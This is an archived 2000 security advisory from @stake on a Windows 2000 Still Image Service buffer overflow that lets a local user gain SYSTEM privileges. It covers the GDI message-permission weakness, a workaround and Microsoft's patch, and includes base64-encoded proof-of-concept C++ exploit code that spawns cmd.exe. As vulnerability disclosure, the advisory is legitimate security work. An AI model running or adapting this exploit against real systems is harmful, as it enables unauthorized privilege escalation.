[ advisories | exploits | discussions | news | conventions | security tools | texts & papers ]
 main menu
- feedback
- advertising
- privacy
- FightAIDS
- newsletter
- news
 
 discussions
- read forum
- new topic
- search
 

 meetings
- meetings list
- recent additions
- add your info
 
 top 100 sites
- visit top sites
- sign up now
- members
 
 webmasters

- add your url
- add domain
- search box
- link to us

 
 projects
- our projects
- free email
 
 m4d network
- security software
- secureroot
- m4d.com
Home : Advisories : Windows Still Image Privilege Elevation (A090700-1)

Title: Windows Still Image Privilege Elevation (A090700-1)
Released by: @stake
Date: 7th September 2000
Printable version: Click here
-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1



                             @stake Inc.

                           www.atstake.com



                          Security Advisory





Advisory Name: Windows Still Image Privilege Elevation (A090700-1)

 Release Date: 09/07/2000

  Application: Still Image Service

     Platform: Windows 2000

     Severity: A local user can elevate privileges to SYSTEM.

       Author: DilDog [dildog@atstake.com]

Vendor Status: Patch Available

          Web: www.atstake.com/research/advisories/2000/a090700-1.txt





Executive Summary:



        The Still Image Service contains programming errors that

uncover a class of attacks on services. This vulnerability allows

unauthorized local privilege elevation.





Overview:



The Still Image Service that comes with Windows 2000 is

vulnerable to a particular class of attack that stems from the Windows

GDI's poor notion of GDI object permissions. In this particular instance,

a service creates a window on the logged-on user's desktop that responds

to a number of WM_USER messages via PostMessage(). The window procedure

resides in the service process, and can hence be controlled to some

extent by the logged-on user. There exists a buffer overflow condition in

one of the WM_USER messages. 





Detailed Description:



Way back when, the GDI in Windows NT 3.5 was not yet placed in

the kernel, and no one worried about permissions on GDI objects. When the

GDI was moved into the kernel, a number of system objects were created to

support permissions on GDI objects, such as window stations and desktops.

One particular case where better permissions on GDI objects could be used

is on windows. The window object supports several operations, notably

'PostMessage', 'SendMessage', and others. GDI window handles are not

process specific, and they can easily be obtained for any window created

on the logged-on user's desktop via 'FindWindow'.



Once a handle to a window is obtained, two operations are of

interest. 'SendMessage' calls the window procedure associated with the

window directly (in most cases note: that WM_COPYDATA is an exception to

this), and hence it can only be called by processes that actually have

the window procedure mapped in their process space. The 'PostMessage'

function pushes the message into the window procedure's message queue for

processing at a later point. This allows cross-process communication with

window messages. Even to processes of higher privilege level.



Because no distinction is made between which messages can

'posted' versus which can be 'sent', for windows messages above 'WM_USER',

one can never define a windows message that contains a pointer, regardless

of how it is intended to be handled.



This vulnerability exists in the Windows Still Image Service, but

the problem is more universal, and may affect any or all other services

that create windows on the logged-on user's desktop (visible, or

invisible).



The proof-of-concept code below demonstrates the vulnerability.



Temporary Solution:



Disable the Still Image Service entirely. Normally, the Still Image

Service is not running, but if one runs 'stimon.exe' as an administrator,

or attempts to install or access a local or network scanner, digital

camera, or other still image device, the service will install itself in

'Automatic' mode and be present every time the system boots thereafter.



Vendor Response:



Microsoft has developed a patch to solve this problem:



  http://www.microsoft.com/Downloads/Release.asp?ReleaseID=24200>



They have issued a security bulletin describing the issue:



  http://www.microsoft.com/technet/security/bulletin/MS00-065.asp







Proof-of-Concept Code:





- --=====================

Content-Description: STISVC Proof Of Concept Code

Content-Disposition: attachment; filename="ownsti.cpp"

Content-Transfer-Encoding: BASE64

Content-Type: text/plain



I2luY2x1ZGU8d2luZG93cy5oPg0KDQojZGVmaW5lIEVYUFNJWkUgKDUyMCsxMDI0KQ0KLy8j

ZGVmaW5lIFNUQUNLVE9QICgweDAwNzBGRjU4KQkvLyBmb3IgU3RpU3ZjIHZlcnNpb24gNS4w

LjIxMzQuMSBpbiBXaW4ySw0KLy8jZGVmaW5lIEJVRkZFUkxPQyAoMHgwMDcwRkNCMCkNCiNk

ZWZpbmUgU1RBQ0tUT1AgKDB4MDA3MUZGNTgpCS8vIGZvciBTdGlTdmMgdmVyc2lvbiA1LjAu

MjEzNC4xIGluIFdpbjJLIFNQMQ0KI2RlZmluZSBCVUZGRVJMT0MgKDB4MDA3MUZDQjApDQoN

CmludCBXSU5BUEkgV2luTWFpbihISU5TVEFOQ0UgaEluc3QsIEhJTlNUQU5DRSBoUHJldiwg

TFBTVFIgbHBDbWRMaW5lLCBpbnQgblNob3cpDQp7DQoJY2hhciBmdW5reVtFWFBTSVpFXTsN

CgltZW1zZXQoZnVua3ksMHg5MCxFWFBTSVpFKTsNCglmdW5reVtFWFBTSVpFLTJdPShjaGFy

KTA7DQoJZnVua3lbRVhQU0laRS0xXT0oY2hhcikwOw0KDQoJLy8gV3JpdGUgY29kZQ0KDQoJ

SE1PRFVMRSBoS2VybmVsPUdldE1vZHVsZUhhbmRsZSgia2VybmVsMzIuZGxsIik7DQoNCi8v

CWZ1bmt5WzB4MF09KGNoYXIpMHhDQzsNCg0KCWZ1bmt5WzB4NF09KGNoYXIpMHg4MTsNCglm

dW5reVsweDVdPShjaGFyKTB4QzQ7DQoJZnVua3lbMHg2XT0oY2hhcikweDA0Ow0KCWZ1bmt5

WzB4N109KGNoYXIpMHhGQzsNCglmdW5reVsweDhdPShjaGFyKTB4RkY7DQoJZnVua3lbMHg5

XT0oY2hhcikweEZGOw0KDQoJZnVua3lbMHgxMF09KGNoYXIpMHhCODsNCgkqKERXT1JEICop

KCYoZnVua3lbMHgxMV0pKT1+KERXT1JEKUdldFByb2NBZGRyZXNzKGhLZXJuZWwsIldpbkV4

ZWMiKTsNCgkNCglmdW5reVsweDE1XT0oY2hhcikweEY3Ow0KIAlmdW5reVsweDE2XT0oY2hh

cikweEQwOw0KDQoJZnVua3lbMHgxN109KGNoYXIpMHg2QTsNCglmdW5reVsweDE4XT0oY2hh

cikweDAzOw0KCQ0KCWZ1bmt5WzB4MTldPShjaGFyKTB4QkI7DQoJKihEV09SRCAqKSgmKGZ1

bmt5WzB4MUFdKSk9fihEV09SRCkoQlVGRkVSTE9DKzB4MzApOw0KCQ0KCWZ1bmt5WzB4MUVd

PShjaGFyKTB4Rjc7DQoJZnVua3lbMHgxRl09KGNoYXIpMHhEMzsNCg0KCWZ1bmt5WzB4MjBd

PShjaGFyKTB4NTM7DQoNCglmdW5reVsweDIxXT0oY2hhcikweEZGOw0KCWZ1bmt5WzB4MjJd

PShjaGFyKTB4RDA7DQoJDQoJZnVua3lbMHgyM109KGNoYXIpMHhCODsNCgkqKERXT1JEICop

KCYoZnVua3lbMHgyNF0pKT1+KERXT1JEKUdldFByb2NBZGRyZXNzKGhLZXJuZWwsIkV4aXRQ

cm9jZXNzIik7DQoNCglmdW5reVsweDI4XT0oY2hhcikweEY3Ow0KCWZ1bmt5WzB4MjldPShj

aGFyKTB4RDA7DQoNCglmdW5reVsweDJBXT0oY2hhcikweEZGOw0KCWZ1bmt5WzB4MkJdPShj

aGFyKTB4RDA7DQoNCglmdW5reVsweDJDXT0oY2hhcikweENDOw0KCWZ1bmt5WzB4MkRdPShj

aGFyKTB4Q0M7DQoJZnVua3lbMHgyRV09KGNoYXIpMHhDQzsNCglmdW5reVsweDJGXT0oY2hh

cikweENDOw0KDQoJLy8gU2V0IHN0cmluZyB0byBleGVjdXRlDQoJbWVtY3B5KCYoZnVua3lb

MHgzMF0pLCJjbWQuZXhlICIsOCk7DQogDQoJLy8gU2V0IHJldHVybiBhZGRyDQoJKihEV09S

RCAqKSgmKGZ1bmt5WzB4MjA4XSkpPUJVRkZFUkxPQzsNCg0KCS8vIEdldCBOZXREREUgV2lu

ZG93DQoJSFdORCBod25kPUZpbmRXaW5kb3coIlNUSUV4ZV9XaW5kb3dfQ2xhc3MiLCJTVEkg

TW9uaXRvciIpOw0KDQoJLy8gQ29weSBleHBsb2l0IGNvZGUNCglDT1BZREFUQVNUUlVDVCBj

ZHM7DQoJY2RzLmNiRGF0YT1zaXplb2YoZnVua3kpOw0KCWNkcy5kd0RhdGE9MDsNCgljZHMu

bHBEYXRhPShQVk9JRClmdW5reTsNCg0KCVNlbmRNZXNzYWdlKGh3bmQsV01fQ09QWURBVEEs

KFdQQVJBTSlod25kLChMUEFSQU0pJmNkcyk7DQoNCglQb3N0TWVzc2FnZShod25kLDB4NENE

LDAsKExQQVJBTSkoU1RBQ0tUT1AtRVhQU0laRSkpOw0KDQoJcmV0dXJuIDA7DQp9



- --=====================--





For more advisories: http://www.atstake.com/research/index.html

PGP Key: http://www.atstake.com/research/pgp_key.asc



Copyright 2000 @stake, Inc. All rights reserved.





-----BEGIN PGP SIGNATURE-----

Version: PGP 6.5.8



iQA/AwUBObeanVESXwDtLdMhEQJqggCg0Bv6rSW8ng0aWnVjjOJoZ7TSYuQAoPIh

VEL25FlvPGoBQ8aMqVWYgo/8

=/Uc5

-----END PGP SIGNATURE-----








(C) 1999-2000 All rights reserved.